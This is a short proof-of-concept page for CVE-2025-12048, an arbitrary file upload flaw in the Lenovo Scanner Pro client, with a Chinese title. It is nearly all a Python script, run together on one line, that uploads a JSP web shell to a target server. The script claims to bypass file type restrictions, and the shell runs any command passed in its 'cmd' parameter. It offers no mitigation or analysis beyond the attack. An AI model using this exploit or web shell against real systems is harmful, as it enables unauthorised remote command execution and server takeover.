CVE-2025-12048: Lenovo Scanner Pro 客户端任意文件上传漏洞

# CVE-2025-12048 PoC - Lenovo Scanner Pro Arbitrary File Upload # This PoC demonstrates the file upload vulnerability import requests import json TARGET_URL = "http://target:8080/ScannerPro/upload" PAYLOAD_FILENAME = "malicious.jsp" PAYLOAD_CONTENT = "<%@ page import=\"java.util.*,java.io.*\" %>\n<% if(request.getParameter(\"cmd\")!=null){ Process p = Runtime.getRuntime().exec(request.getParameter(\"cmd\")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while(disr!=null){ out.println(disr); disr = dis.readLine(); } } %>" def exploit_file_upload(): """Exploit arbitrary file upload vulnerability""" files = { 'file': (PAYLOAD_FILENAME, PAYLOAD_CONTENT, 'application/octet-stream') } # Bypass file type restrictions headers = { 'X-Original-Filename': PAYLOAD_FILENAME, 'Content-Type': 'multipart/form-data' } try: response = requests.post(TARGET_URL, files=files, headers=headers, timeout=10) if response.status_code == 200: result = response.json() uploaded_path = result.get('filePath', '/uploads/' + PAYLOAD_FILENAME) print(f"[+] File uploaded successfully to: {uploaded_path}") print(f"[+] Access payload at: {uploaded_path}?cmd=whoami") return uploaded_path else: print(f"[-] Upload failed with status: {response.status_code}") return None except Exception as e: print(f"[-] Error: {str(e)}") return None if __name__ == "__main__": print("CVE-2025-12048 PoC - Lenovo Scanner Pro Arbitrary File Upload") print("=" * 60) exploit_file_upload()